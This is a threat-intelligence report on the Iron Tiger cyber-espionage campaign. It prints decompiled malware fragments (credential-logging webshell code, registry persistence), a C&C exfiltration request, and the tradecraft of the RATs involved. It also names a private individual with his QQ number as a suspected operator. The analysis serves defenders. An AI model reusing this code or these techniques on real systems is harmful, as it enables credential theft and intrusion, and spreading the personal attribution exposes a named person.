Operation Iron Tiger:
Exploring Chinese Cyber-Espionage
Attacks on United States Defense Contractors

Ziv Chang, Kenney Lu, Aaron Luo, Cedric Pernet, Jay Yaneza
(Trend Micro Cybersafety Solutions Team)
Contents

4 Targets: From Asia-Pacific to the US

8 Actors: Tracing the operation’s Chinese roots

11 Operation: Iron Tiger hacks targets’ defenses

51 Mitigation: Combating cyber espionage and targeted attacks
If a single piece of valuable information can put a nation at a disadvantage, what could much more stolen data do? A group of China-based threat actors known as “Emissary Panda” or “Threat Group-3390 (TG-3390)2” may know the answer, as they have been seen stealing terabytes of confidential data from employees of high-technology companies in the United States (US) since 2013.

Their target? Government defense contractors and related companies. They specifically targeted the directors and managers of US companies in the electric, aerospace, intelligence, telecommunications, energy, and nuclear engineering industries, among others. Looking at the targets, we believe the attackers constantly monitored technology-inclined US government contractors.

In a cyber-espionage operation we dubbed “Iron Tiger,” the actors first spent years spying on political targets and government agencies in China, Hong Kong, and the Philippines back in 2010 before eyeing technology-related organizations in the US. Given the huge geographical shift in target, it is very likely that Iron Tiger is only part of a bigger campaign where specific targets are assigned to various teams.

The actors have stolen emails, full Active Directory® dumps, intellectual property, strategic planning documents, and budget- or finance-related content—all of which can be used to sabotage target governments’ or private organizations’ plans. We’ve even seen them nab up to 58GB worth of data from a single target. They could have even stolen terabytes of data in total.

We found convincing evidence pointing to China as the threat actors’ primary location. These indicators include the use of virtual private network (VPN) servers that only accepted China-based registrants, Chinese file names and passwords, and China-registered domains. Specifically following two virtual aliases, “phpxss” and “ershao,” we were able to attribute operational activities to a key personality physically located in China.

Note that the actors are skilled in launching digital attacks. They not only followed new malware-creation tool releases but also used customized tools like dnstunserver and abused legitimate services like Blogspot™ and the Google Cloud Platform™. Using legitimate services allowed them to evade monitoring and efficiently change command-and-control (C&C) servers in case of discovery.

While their techniques may be quite advanced, they adapt to their target networks’ security levels and sparingly used sophisticated methods. Like any organized and motivated team, they exerted minimal effort to achieve maximum results.
Quality trumps quantity as far as Iron Tiger goes. It targets fewer individuals and organizations compared with other campaigns like Russia-based cyber-espionage operation, Pawn Storm³. Yet like Pawn Storm, Iron Tiger also spies on organizations where they are based.

The actors first monitored targets in the education industry in China, political dissidents in Hong Kong, government agencies in the Philippines, and political targets in Tibet as far back as 2010. We believe individual targets from each country were picked to gather inside information on political events that prevailed at the time.

The actors use spear-phishing email subjects that would be interesting to their chosen targets. They used “Han Zheng stays at Regent Pan—Housing protest held in advance” as lure to entice curious political targets to join a protest against then-mayor of Shanghai⁴. Other subjects exposed the attackers’ aim to target very important persons (VIPs), engineers, and/or public relations (PR) or communication officers.
In 2013, Iron Tiger’s targets changed. After achieving cyberspying feats, the attackers set out to catch bigger fish—individuals in defense- and technology-related fields like aerospace, energy, intelligence, nuclear engineering, and telecommunications. Looking at the targets, we believe the attackers constantly monitored high-technology contractors of the US government.

**Up to terabytes of stolen data**

The actors are believed to have stolen up to terabytes of data, given the sheer amount of information they gathered from each target. They were able to extract as much as 58GB worth of data from a single organization. This was even more than the 40GB worth of data leaked after the Sony Pictures hack⁵.
Types of data stolen by the Iron Tiger actors

- Strategic planning documents
- Budget-/Finance-related content
- Intellectual property
- Emails
- Full Active Directory dumps

A compromised Microsoft® Exchange™ server showed that Iron Tiger uses various exfiltration routines. They install two different backdoors—BKDR_PLUGX.XXT and Dllshellexc2010 (which specifically affects Microsoft Exchange). They rename files prior to extraction using extensions like .CSS to bypass security protections put in place for archived files (.ZIP, .7z, .RAR, etc.).

Content of a .7z file named “txt.css” generated by the attackers on a compromised network

Actual content found inside a 58GB archive stolen from a single target organization
The actors also use Robocopy, an application that lets users remotely copy files to local hard drives in order to extract them from a server. Finally, they export mailboxes to a .PST file using the “Export-Mailbox” PowerShell command. Data meant to be stolen is always stored as encrypted .7z files in the Microsoft Outlook® Web App (OWA) folder.

With all of the files in their hands, the actors may know everything about the network and its users, making lateral movement possible. The possibilities are endless. At this point, they obtain the highest privilege levels on the compromised network.
The following pieces of evidence revealed that the Iron Tiger actors can be Chinese-speaking individuals proficient in computer security and launching digital attacks:

- The VPN servers were mostly located in China like those provided by BAIGE VPN.
- The file names and passwords used were Chinese.
- Some text resources and language IDs used in malware binaries were set to simplified Chinese.
- HUC Packet Transmit Tool (HTran) is frequently used by Chinese threat actors.
- Whois data revealed that related domains like shangxian.info were registered with physical addresses in China.
- The other related resources (QQ, Lofter, 163.com) are popularly used in China.

**Is “Fei” behind Iron Tiger?**

Following virtual aliases related to Iron Tiger allowed us to attribute operational activities to a key personality—Guo Fei—who resides in Shanghai, China.

**Phpxss and exenull**

The systematic use of these two nicknames, their use of the same password to encrypt files, and the way they accessed C&C servers made us believe that only a few key individuals rather than a huge group of people were behind the campaign. Phpxss was probably a reference to cross-site scripting (XSS) vulnerabilities based on PHP. This choice of nickname made us believe that the actor had ties to traditional cybercrime.

Phpxss had ties to xssok.blogspot.com and phpxss.lofter.com—C&C servers for three Trojans (dnstunnel, NBDDOS, and PlugX) related to Iron Tiger. The malicious tool, dnstunclient, accesses xssok.blogspot.com to know what the controlling IP address is. A Ghost variant, meanwhile, accesses phpxss.lofter.com, which leads to a C&C server.

Phpxss also serves as username for several email addresses from different free email providers and the BAIGE-VPN-provided service. One of the subdomains under shangxian.info that points to a C&C server has also been registered with the name, “php xss,” and the email address, [REDACTED]s@gmail.com.
Whois information tied to `shangxian.info` and registered by php xss

We also found a blog comment with the name, “phpxss,” which led to an email address; a QQ number (693149); and the name, “Guo Fei.” Additional research on the QQ number led us to a person named “郭飞,” which translates to “Guo Fei.” The name, “exenull,” meanwhile, was used by the same person to register on target sites or forums.

Comment by phpxss linked to a Gmail account and QQ number owned by Guo Fei

Phpxss's geographical information
Ershao and myershao

Ershao and myershao were other nicknames tied to the name, “Guo Fei.” These were found in leaked underground forum databases and had ties to the same QQ number that phpxss used. A related email address found in underground forums, [REDACTED]o@live.cn, was also used to register the domain, mail.info, which had ties to Iron Tiger.
The Iron Tiger actors can be skilled computer security experts but sparingly use advanced techniques, given their weakly protected target networks. They do not follow a specific schedule when it comes to launching attacks. Instead, they prioritize attacks based on a list of chosen targets. We have, for instance, seen them dump the contents of a company’s Active Directory database nine months prior to actual data exfiltration.

Investigations revealed several Iron Tiger-specific routines. The actors are fond of using customized hacking tools like dnstunserver and known targeted attack malware, PlugX and Ghost variants, to remotely access target networks.

The attackers abuse free Web services to accomplish their goals. They set up C&C servers in the free blogging platform, Blogspot; connected a Ghost variant to the Chinese blogging platform, Lofter; and created email
accounts in Gmail™ and Microsoft Outlook. They also maintain a clean and controlled command center, going as far as patching one of the C&C servers they compromised and running the WebShellKill backdoor finder on it to keep cybercriminals or script kiddies away.

When laterally moving inside networks, they use a stolen code-signing certificate from Korea-based security company, SoftCamp Co., Ltd., to evade security solutions. To get deeper into networks, they intercept Microsoft Exchange™ credentials using Robocopy and the “Export-Mailbox” PowerShell command—both unique means. They also use a Trojan that was specifically designed to only work on the Google Cloud Platform.

Spear phishing

The Iron Tiger actors likely gather solid information about organizations they want to infiltrate before zeroing in on specific figure heads. Quick Web searches on how specific organizations formulate email addresses can give them clues on target individuals’ specific addresses. Using these addresses, the attackers have been sending spear-phishing emails to compromise computers in target networks as early as April 2010.

The target individuals have varying professional classes, ranging from company executives and government officials to engineers and PR officers. Some of their addresses can be easily found on the Internet. Others are not publicly available, which shows that the attackers have a certain level of maturity in reconnaissance or data gathering.

The actors use two addresses to send spear-phishing emails. One of these has been in use since 2010. This is surprising, given that threat actors typically drop email addresses after a short period of time in order to evade detection. This can be a reflection of their confidence that their spear-phishing campaigns will stay undetected regardless.

The “From” field in messages sent via both addresses is usually modified to reflect the spear-phishing scheme used for a given target. The attackers often use names that pique the targets’ interests (affiliated with news agencies like the British Broadcasting Corporation [BBC] or the Agence France-Presse [AFP]).

Subjects ranging from the generic to the more professional or personal are also used. Samples include “Shanghai mayor Han Zheng visits Taipei to promote World Expo,” “Han Zheng stays at Regent Pan—Housing protest held in advance,” and “Sino-US cooperation on maritime security seminar neighborhoods.”
<table>
<thead>
<tr>
<th>Date</th>
<th>Industry (based on recipient)</th>
<th>Subject</th>
<th>Translation</th>
</tr>
</thead>
<tbody>
<tr>
<td>25 November 2009</td>
<td>Others</td>
<td>How about your parents?</td>
<td>Not applicable</td>
</tr>
<tr>
<td>3 April 2010</td>
<td>Communications and media</td>
<td>Smurfs, Bollywood give Shanghai Expo star power</td>
<td>Not applicable</td>
</tr>
<tr>
<td>3 April 2010</td>
<td>Others (political organizations)</td>
<td>Hong Kong lawmakers give lukewarm response to Shanghai Expo trip</td>
<td>Not applicable</td>
</tr>
<tr>
<td>6 April 2010</td>
<td>Others (political organizations)</td>
<td>上海市長韓正訪問台北推廣世博</td>
<td>Shanghai mayor Han Zheng visits Taipei to promote World Expo</td>
</tr>
<tr>
<td>6 April 2010</td>
<td>Others (political organizations)</td>
<td>韓正下榻晶華 綠營提前住房抗議</td>
<td>Han Zheng stays at Regent Pan—Housing protest held in advance</td>
</tr>
<tr>
<td>7 April 2010</td>
<td>Education</td>
<td>关于中美海上安全合作讲座求教</td>
<td>Sino-US cooperation on maritime security seminar neighborhoods</td>
</tr>
<tr>
<td>7 April 2010</td>
<td>Education</td>
<td>徵询</td>
<td>Consultation</td>
</tr>
<tr>
<td>10 April 2010</td>
<td>Others (political organizations)</td>
<td>Tashi Delek after long time! (Note that “Tashi Delek” is a Tibetan form of greeting that is usually translated to “Blessings and good luck.”)</td>
<td>Not applicable</td>
</tr>
<tr>
<td>16 April 2010</td>
<td>Government</td>
<td>2010年度部级法学研究课题申报公告</td>
<td>Research ministerial declaration of the “2010 Law Bulletin”</td>
</tr>
<tr>
<td>9 July 2010</td>
<td>Government</td>
<td>Forging a US-Brazil strategic partnership</td>
<td>Not applicable</td>
</tr>
<tr>
<td>9 July 2010</td>
<td>Government</td>
<td>Brazil’s new security strategy and defense doctrine</td>
<td>Not applicable</td>
</tr>
<tr>
<td>10 July 2010</td>
<td>Others (political organizations)</td>
<td>FW: Tuesday’s meeting at 10 is cancelled</td>
<td>Not applicable</td>
</tr>
<tr>
<td>10 July 2010</td>
<td>Others (political organizations)</td>
<td>FW: Can we meet to discuss your coming trip?</td>
<td>Not applicable</td>
</tr>
<tr>
<td>10 July 2010</td>
<td>Others (political organizations)</td>
<td>RE: Staff meeting is Wednesday at 14:00</td>
<td>Not applicable</td>
</tr>
<tr>
<td>10 July 2010</td>
<td>Others (political organizations)</td>
<td>The minutes from last week’s board meeting</td>
<td>Not applicable</td>
</tr>
<tr>
<td>Date</td>
<td>Industry (based on recipient)</td>
<td>Subject</td>
<td>Translation</td>
</tr>
<tr>
<td>------------------</td>
<td>------------------------------</td>
<td>-------------------------------------------------------------------------</td>
<td>----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>14 July 2010</td>
<td>Education</td>
<td>Homeland Security and Defense</td>
<td>Not applicable</td>
</tr>
<tr>
<td>3 August 2010</td>
<td>Government</td>
<td>您好，我是刚毕业的，投简历一份，希望有幸成为贵公司一员</td>
<td>Hello, I just graduated, attached is my resume, hoping to get the opportunity to be part of your company</td>
</tr>
<tr>
<td>5 August 2010</td>
<td>Others (political organizations)</td>
<td>Will you come?</td>
<td>Not applicable</td>
</tr>
<tr>
<td>5 August 2010</td>
<td>Manufacturing</td>
<td>Summit on nuclear safety issues discussed</td>
<td>Not applicable</td>
</tr>
<tr>
<td>17 August 2010</td>
<td>Others (political organizations)</td>
<td>How about recent days?</td>
<td>Not applicable</td>
</tr>
<tr>
<td>6 September 2010</td>
<td>Manufacturing, technology, others (nonprofit organizations)</td>
<td>2010 Sandia nuclear weapons research topic</td>
<td>Not applicable</td>
</tr>
<tr>
<td>10 September 2010</td>
<td>Others (political organizations)</td>
<td>警告钓鱼岛挑衅者，希望不要把中国的愤怒点燃</td>
<td>Warning Diaoyu provocateurs, hoping not to ignite China’s ire</td>
</tr>
<tr>
<td>25 January 2011</td>
<td>Others</td>
<td>Backup (Note that this was sent by “Admin.”)</td>
<td>Not applicable</td>
</tr>
<tr>
<td>23 April 2013</td>
<td>Government</td>
<td>The new foreign policy frontier</td>
<td>Not applicable</td>
</tr>
<tr>
<td>23 April 2013</td>
<td>Government</td>
<td>Economic development and reconstruction</td>
<td>Not applicable</td>
</tr>
<tr>
<td>23 April 2013</td>
<td>Government</td>
<td>Taiwan’s response to an evolving security environment</td>
<td>Not applicable</td>
</tr>
<tr>
<td>23 April 2013</td>
<td>Government</td>
<td>Taiwan</td>
<td>Not applicable</td>
</tr>
<tr>
<td>25 April 2013</td>
<td>Government</td>
<td>Taiwan’s response to an security</td>
<td>Not applicable</td>
</tr>
<tr>
<td>9 May 2014</td>
<td>Government</td>
<td>The future of the US Army Officer Corps</td>
<td>Not applicable</td>
</tr>
<tr>
<td>9 May 2014</td>
<td>Government</td>
<td>Illicit international activities</td>
<td>Not applicable</td>
</tr>
<tr>
<td>5 September 2014</td>
<td>Telecommunications, technology</td>
<td>#COMPANYNAME# jobs! Help me! Help me!</td>
<td>Not applicable</td>
</tr>
<tr>
<td>12 October 2014</td>
<td>Telecommunications</td>
<td>佘氏论坛改版需求</td>
<td>Forum needs revision</td>
</tr>
</tbody>
</table>

More spear-phishing email subjects used in Iron Tiger
The spear-phishing emails had limited content, usually only one or two lines of text. They came with archive file attachments (usually .RAR files) that contained malicious .EXE files.

![Sample Iron Tiger spear-phishing email](image)

The email above had a hidden image, which was actually a “Web bug” that allowed attackers to get more information from target systems like IP addresses, browser versions, and others. Some emails had slightly obfuscated code. When deobfuscated, the code tries to run a remote script. We were, unfortunately, unable to retrieve the said *js.php* script.

![Email source code that shows the HTML content, including the Web bug](image)
Slightly obfuscated code in an Iron Tiger email

Decoded version of the slightly obfuscated code

Arsenal

While the malware and tools that the actors used were publicly available, some were not at the time this paper was written.

Dnstunclient

Dnstunclient was named after strings found inside its binary (SHA-1: afce5e56fc9bd1774d0cbbab1d205d0152fc632, detected by Trend Micro as HKTL_DNSTunnel). This has an interesting way of communicating with the attackers and finding C&C servers. It fetches the home page of a blog, xssok.blogspot.com, with information on how to reach a C&C server. Contacting the blog was registered as a scheduled task on a compromised system, which runs every Sunday at 8:00 A.M. (matching the infected system’s time zone) and fetches the Blogspot page.
Code that set when compromised systems should access the blog

Format: “$$$$$$$$$$[Day OF Week]#####[DNS or IP]$$$$$$$$$$$”

Example: “$$$$$$$$$$SUN#####10.10.10.10$$$$$$$$$$”

Format used to provide dnstunclient with a C&C server's IP address

On Windows Vista or newer systems, the scheduled task is registered as shown below.

Scheduled task code on Windows Vista or newer systems

Running the scheduled task decodes the information provided by the blog so the system can access the actual C&C server. A reverse command shell then runs using the Domain Name System (DNS) protocol with CNAME and A queries on User Datagram Protocol (UDP) port 53.
The said malware is Base64 encrypted and so can easily be decrypted. Further analysis of the binary revealed that it was a command-line tool that was modified to work on its own. Its original version can be used with arguments like:

- `dnstunclient -ip <server ip address>`
- `dnstunclient -d or -domain <domain>`

The modified version, meanwhile, forced the use of `xssok.blogspot.com`.

```c
v5 = (int *)argv;
*argv = aAaa;
argv[1] = aIp_0; //Set argument 1 to -ip
v6 = (const char *)sub_402A40(); //get C2 server ip from blog
argv[2] = v6; //Set argument 2 to C2 server ip
```

Reverse engineering allowed us to see the tool’s original output. The original dnstunclient is a console program that can be used for temporary lateral movement but it has been modified to act as a Trojan. The modified tool adds extra functions to replace or add parameters while the original always read parameters from the console input. As such, the modified tool grabs parameters from a remote Web page.
The “wzraphbia” string the modified tool creates is automatically generated but can’t be used as an indicator of compromise (IoC).

Over the past year, Iron Tiger increasingly used similar channels to communicate—an obvious attempt at staying undetected. Log file reviewers will probably classify Blogspot-related requests as legitimate but dnstunclient still only accesses xssok.blogspot.com once a week as a precautionary measure.

We monitored xssok.blogspot.com for C&C changes for several months but saw very few modifications. The blog, for instance, moved twice to an internal IP address (192.168.[REDACTED]) before switching again to a compromised server owned by an Asian academic institution.

Dnstunserver

Dnstunserver is not available anywhere online, even on underground forums. It was most likely developed or bought for Iron Tiger’s exclusive use.

The binary (SHA-1: eeeec12cb0dce7c77a4ceee9fad2cccf3e2d93c, detected by Trend Micro as HKTL_DNSTunnel) was compiled just this February. It is dnstunclient’s server part. When launched, it opens a fake DNS service on UDP port 53 and waits for connections from victims. When a connection is established, dnstunserver provides a remote shell that allows the attackers to execute commands on infected computers.

Dnstunserver’s server part has interesting debug information like the following paths with Chinese words formed using the Guojia Biaozhun (GB2312) character set, the “national standard” (Note that “桌面” translates to “desktop.”):

- C:\Documents and Settings\Administrator\桌面|dns control|t-DNSTunnel\DnsTunServer\dns.cpp
- C:\Documents and Settings\Administrator\桌面|dns control|t-DNSTunnel\DnsTunServer\DnsTunServer.cpp
- C:\Documents and Settings\Administrator\桌面|dns control|t-DNSTunnel\DnsTunServer\memory.cpp
Iron Tiger uses a backdoor called “Dllshellexc2010” by its author on a Microsoft Exchange server that belongs to a target. Dllshellexc2010 is a tool customized for the attackers’ exclusive use. It is a .NET module (SHA-1: 08afa64b23288c0414b379cb4e67c1a8dabea033), a very small dynamic link library (DLL) (less than 8kB in size) that can be installed on Microsoft Exchange or Internet Information Services (IIS) servers for the purpose of stealing users’ authentication credentials while logging in. It provides a WebShell to the machine, in addition to credential-stealing capabilities.

The WebShell does not require any physical ASP.NET file to be present in the IIS directory. It runs every time an HTTP request to any path ending with “.aspx” is sent. It creates a temporary file called “8xla90ssz7693.tmp” with a tiny WebShell in the %TEMP% folder, which is later executed.

Dllshellexc2010’s source code shows that it extracts a parameter called “chopper” when executed, just like the infamous WebShell, 中國菜刀 or China Chopper. We believe this DLL was created by someone very familiar with China Chopper. We decided to test it in a controlled China Chopper environment and found...
that it worked perfectly. Dllshellexc2010 also intercepts Microsoft Exchange credentials every time a request path that contains “/auth.owa,” a default log-in path for OWA, is used. Note the use of Chinese in the log file generated. Intercepted credentials are written to a hard-coded file called “%TEMP%\~4DAF8B\~P486.jpg” on the infected system’s disk. It uses the .JPG extension even though it is actually a text file.

WebShell that Dllshellexc2010 provides inside the China Chopper graphical user interface (GUI)

```csharp
private void content_BeginRequest(object sender, EventArgs e)
{
    HttpContext httpcontext = HttpContext.Current;
    if (action == null && !string.IsNullOrEmpty(auth.owa))
    {
        this.log.Write("用户名: " + content.Request.Form["username"].ToString() + ", 密码: " + content.Request.Form["password"].ToString());
    }
}
```

Code used to log usernames and passwords

```csharp
public class Log
{
    private string Logfn;
    public Log()
    {
        string tempPath = Path.GetTempPath();
        string text = Common.PathCombine(new string[]
        {
            tempPath,
            "~4DAF8B"
        });
        if (!Directory.Exists(text))
        {
            Directory.CreateDirectory(text);
        }
        text = Common.PathCombine(new string[]
        {
            tempPath,
            "~4DAF8B\~P486.jpg"
        });
        this.Logfn = text;
    }
    public void Write(string txt)
    {
        StreamWriter streamWriter = File.AppendText(this.Logfn);
        streamWriter.WriteLine(DateTime.Now.ToString() + " ", + txt);
        streamWriter.Close();
    }
}
```

Stolen credentials are written to %TEMP%\~4DAF8B\~P486.jpg
Sample result of Dllshellexc2010’s credential-stealing capability

Attacker’s browsing history and related tools

We were able to examine the browsing history of a C&C server that the actors compromised and saw how they quietly accessed parts of their arsenal (malware and tools) that was hosted elsewhere online. They stored a lot of their usual tools on a *mac.pm* server, which was hosted in the US and whose name servers are known for having ties to malware-related activities.

<table>
<thead>
<tr>
<th>URL</th>
<th>SHA-1</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>/file/dump.7z</td>
<td>Unknown</td>
<td>Was not retrieved but is likely a GSecDump tool</td>
</tr>
<tr>
<td>/file/7z.exe</td>
<td>Legitimate file</td>
<td>Legitimate .7z compressor</td>
</tr>
<tr>
<td>/tool/dnser.exe</td>
<td>eee12cb0dccc7c77a4ecee9facd2ccc1f3e2d93c</td>
<td>Dnstunserver file</td>
</tr>
<tr>
<td>/tool/dnser.exe</td>
<td>eee12cb0dccc7c77a4ecee9facd2ccc1f3e2d93c</td>
<td>Dnstunserver file</td>
</tr>
<tr>
<td>/tool/wce.exe</td>
<td>Legitimate file</td>
<td>Legitimate Windows Credential Editor file</td>
</tr>
<tr>
<td>/tool/ghost.rar</td>
<td>ec0c179903e4134900c41c522ba612737d38c4a</td>
<td>Contains Gh0st server Ring.exe variant</td>
</tr>
</tbody>
</table>

**Files downloaded by the attackers onto *mac.pm***

The attackers download a mixture of legitimate and malicious tools, including a famous Windows Credential Editor password dumper, GSecDump, and a .7z compressor.

Dnstunserver is also stored on *mac.pm*, together with a .RAR file that can contain *Ring.exe*, a Ghost remote access tool (RAT) variant.

The actors also download files that belong to a private South Korean company (whose name we do not wish to disclose) from a compromised domain.

<table>
<thead>
<tr>
<th>URL</th>
<th>SHA-1</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>/webnote/upload/test/3f.7z</td>
<td>1f8dec3ea9b25de862a11b4d807f0d8de00c7972</td>
<td>PlugX Server 3.0: EFH3.exe, FastDos.exe, FastGui.exe, FastProxy.exe</td>
</tr>
<tr>
<td>/webnote/upload/int.rar</td>
<td>ac6ee2d9cacf5415ad85f7cb756d6c46022a5ecf</td>
<td>Cracked version of Internet Download Manager</td>
</tr>
</tbody>
</table>

**Files downloaded from a compromised private South Korean company’s site**
The files in the table on the previous page have since been removed. One of the target organizations must have cleaned its Web server.

3f.7z, a file downloaded from a compromised server, was encrypted with an unknown password. We were unable to decrypt it but were able to list its contents. The same files related to the PlugX or KorPlug RAT were found on the C&C server. These were likely the contents of 3f.7z.

**WebShellKill**

The Iron Tiger actors downloaded a Chinese tool called “WebShellKill,” which is publicly available. They use an old version (V1.4.1) of the tool even if V1.7.2 was already available at the time this paper was written. WebShellKill features as advertised by its author

It may be puzzling to find WebShellKill on attackers’ servers because it is used to find backdoors in code (PHP, ASP, VBS, etc.). But since attackers generally plant backdoors anywhere, why would they want to remove them?

We quite easily found the answer when we saw the actors compromise a server and immediately launch the tool. The server they chose had several backdoors, which they got rid of via WebShellKill. They probably wanted to make sure the compromised server was clean and could not be easily accessed by script kiddies or even cyberdefenders.
The Iron Tiger actors seem to really care about not being hacked. They went so far as patching a compromised C&C server by logging in as administrator and deploying security fixes.

Google Cloud Platform Trojan

The Iron Tiger actors bought a Trojan that only worked on the Google Cloud Platform. Its C&C server accesses an appspot.com domain. We found a version of the Trojan’s server-side component that was coded in Python. Note that using Python for coding Trojans is unusual. We also found a file called “app.yaml,” which was the Trojan’s configuration file.

<table>
<thead>
<tr>
<th>URL</th>
<th>Function</th>
<th>Affected party</th>
</tr>
</thead>
<tbody>
<tr>
<td>/user</td>
<td>Accesses servers when online</td>
<td>Victims</td>
</tr>
<tr>
<td>/userlist</td>
<td>Dumps all available clients</td>
<td>Attackers</td>
</tr>
<tr>
<td>/client</td>
<td>Checks server status (on standby or working)</td>
<td>Victims</td>
</tr>
<tr>
<td>/server</td>
<td>Turns server on and/or off</td>
<td>Attackers</td>
</tr>
<tr>
<td>/data</td>
<td>Starts subcommands (pr, fi, sh, dir, or uninstall)</td>
<td>Victims and attackers</td>
</tr>
<tr>
<td>/pr</td>
<td>Lists or kills running processes</td>
<td>Victims and attackers</td>
</tr>
<tr>
<td>/fi</td>
<td>Uploads or downloads files</td>
<td>Victims and attackers</td>
</tr>
<tr>
<td>/sh</td>
<td>Executes commands</td>
<td>Victims and attackers</td>
</tr>
<tr>
<td>/dir</td>
<td>Lists directory contents</td>
<td>Victims and attackers</td>
</tr>
</tbody>
</table>

Google Cloud Platform Trojan’s functions

The Trojan was installed on 13 machines that belong to a target company most likely for lateral movement. We also found a variant of its client part that was compiled on 23 March 2015. The sample is named “svchost.exe,” a supposed key Microsoft Windows component. When launched, the binary tries to establish persistence by adding a “Run” registry key named “iisini” to execute the file.
The Trojan then accesses a C&C server by sending the HTTP GET request, `hxxp://exenull1.appspot.com/user?pid=XXXXX&data=XXXXX`. It probably tracks victims via unique transmit PIDs generated on infected computers. The data parameter had a Base64-encoded string that, when decoded, contains “IP address!Username!Company.” The Trojan’s User-Agent was “WinHTTP Example/1.0” and was likely created for the actors’ exclusive use.

**Malware**

The Iron Tiger actors use three different RATs commonly associated with targeted attacks originating from China.

```plaintext
LSTATUS InstallSelf()
{
LSTATUS result; // eax@8
DWORD dwDisposition; // [sp+10h] [bp-110h]@1
HKEY phkResult; // [sp+14h] [bp-10Ch]@2
CHAR Filename; // [sp+18h] [bp-110h]@2

    dwDisposition = 2;
    result = RegCreateKeyEx(
        HKEY_LOCAL_MACHINE,
        "Software\Microsoft\Windows\CurrentVersion\Run",
        0,
        0,
        0,
        0,  // NO_DOS_FILE
        0,  // dwDisposition;
    if (!result )
    {        
        GetModuleFileName(0, &Filename, 60100u);
        RegSetValueEx(phkResult, "Iisini", 0, 1u, (const BYTE *)&Filename, strlen(&Filename));
        result = RegCloseKey(phkResult);
    }
    return result;
}
```

**BKDR_PlugX**

PlugX, also known as “Sogu,” “Gulpix,” or “KorPlug,” has been used as a RAT in several targeted attack campaigns. Its author or a developer with access to its source code has been updating it on a regular basis.
PlugX variants use the DLL side-loading method to infect target computers. DLL side-loading involves abusing a legitimate Windows executable file to load a malicious DLL (PlugX) instead of a legitimate library. All this requires is naming the malicious binary the same as the DLL that attackers wish to execute. PlugX is then loaded instead of the legitimate library in a system folder.

The actors used the method above to infect computers aided by legitimate binaries from Microsoft or antivirus companies like Symantec and F-Secure. We have seen them use a Microsoft-signed binary, Form.exe. This was dropped, along with two other files, Form.dll (SHA-1: 4df17c9e64f727738141e384d4a37c6077f1a) and Form.hlp (SHA-1: d3fb95d0e0cc99c475c6b985a6c911bed69f50d). Form.dll contained all of the malicious code while Form.hlp had the main malware binary and configuration. When the legitimate Form.exe is launched, PlugX:

- Copies three components to C:\Windows\System32
- Sets the files’ attributes to “hidden” and “system”
- Sets the files’ time stamps to “2008/04/14”
- Creates the service, “Microsoft .Net Framework NGEN 4.0”
- Starts a zombie process called “svchost.exe” and injects code
- Removes itself from infected systems
PlugX infection as seen in the Windows registry

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>(Default)</td>
<td>REG_SZ</td>
<td>(value not set)</td>
</tr>
<tr>
<td>Description</td>
<td>REG_SZ</td>
<td>Microsoft .NET Framework KGS v4.0</td>
</tr>
<tr>
<td>DisplayName</td>
<td>REG_SZ</td>
<td>Microsoft .NET Framework KGS v4.0</td>
</tr>
<tr>
<td>ErrorControl</td>
<td>REG_DWORD</td>
<td>0x00000000 (0)</td>
</tr>
<tr>
<td>ImagePath</td>
<td>REG_EXPAND_SZ</td>
<td>&quot;C:\WINDOWS\system32\Form.exe&quot; 2000</td>
</tr>
<tr>
<td>ObjectName</td>
<td>REG_SZ</td>
<td>LocalSystem</td>
</tr>
<tr>
<td>Start</td>
<td>REG_DWORD</td>
<td>0x00000002 (2)</td>
</tr>
<tr>
<td>Type</td>
<td>REG_DWORD</td>
<td>0x00000010 (272)</td>
</tr>
</tbody>
</table>

PlugX files hidden in system32

PlugX SController 3.0

SController 3.0 is the internal name of some variants of the PlugX server-side binary. Its GUI, meanwhile, is called “PureICE.” PureICE’s Users panel provides a lot of information about infected machines, including:

- Computer name
- Local area network (LAN) IP
- Wireless LAN (WLAN) IP
- Location
- Protocol
- OS
- Languages
- Memo
- CPU
- Memory
- Screen resolution
- Last online time
- Version
- CLSID

The panel also groups infected machines based on user definition though a default group name is always present, “U.S.A.”
The second panel, Listeners, shows the server settings. It supports Transmission Control Protocol (TCP) and UDP. Note that TCP can accept HTTP or raw TCP transmissions at the same time. Clicking the infected machines’ icons shows the Manager panel.

PureICE’s GUI had English spelling mistakes. Some features did not even use English, only Chinese. PureICE’s Manager panel had various functions, including:

- Disk (file manager)
- NetHood manager
- File transfer
- Processes (process manager)
- Services manager
- RegEdit (registry editor)
PlugX has, to our knowledge, never been used by non-Chinese attackers, once again strengthening our assumption that Iron Tiger hails from China.

Gh0st variants

We found several variants of the infamous Gh0st RAT used in Iron Tiger as well.

S.exe

One of the Gh0st variants, s.exe (SHA-1: 7b34f24703b5415bc46fdab3801ac79e3e82242a) has a lot of obfuscation functions. While it is heavily encrypted, in memory, it is easier to see the infamous string, “Game Over Good Luck By Wind,” appear.

S.exe was modified to evade antivirus detection. Some of its functions were also deactivated. It accesses the following C&C servers:

- gameofthrones.ddns.net
- user.qzone.qq.com/1479457083
- ys168.com

Gameofthrones.ddns.net has been hosted in various countries since February 2015, including the US, Vietnam, and South Korea. Interestingly, one of its domains always points to the IP address, chrome.servehttp.com. We have yet to gather samples accessing the said C&C server though.

Ys168.com is a dynamic DNS in the form, <username>.ys168.com. Ys168.com without the subdomain as a C&C server could have been just a mistake on the attackers’ part. This did not have any effect, however, as s.exe could still access other C&C servers.
User.qzone.qq.com/1479457083 was a static link that s.exe used to directly get a C&C server’s IP address from the Web page’s title. This page’s account has been suspended though.

Ring RAT

Ring RAT is the internal name of another Iron Tiger-related Gh0st variant (SHA-1: d72ef43059ad0d5b4fc1e218e5257439ac006308) compiled just this March. Two unique class names in Ring RAT’s binary—CGhostDoc and CGhostView—made it easy to see that it is a Ghost RAT derivative.

Ring RAT version 5.0.0.0

Ring RAT’s controller

Ring RAT’s controller had several capabilities, including:

- File browser
- Keylogger
- Remote shell provider
- System manager
- Screen capture
- Remarks (notes)
Its builder, which allows attackers to easily create binaries to infect target systems, had several interesting improvements from Ghost RAT, including:

- The “Active From” field allows attackers to configure specific times to activate malware. This is very useful when they only want to send out data at certain hours that are less visible to victims monitoring network log files.
- The “File Type” option allows attackers to only collect files with configured extensions (.DOC, .TXT, .PPT).
- “Add D-Signature” allows attackers to add digital signatures to binaries so these would be harder to detect.
- “Auto Fection U Disk” allows malware to automatically infect connected USB drives.

Ring RAT’s Build Server features

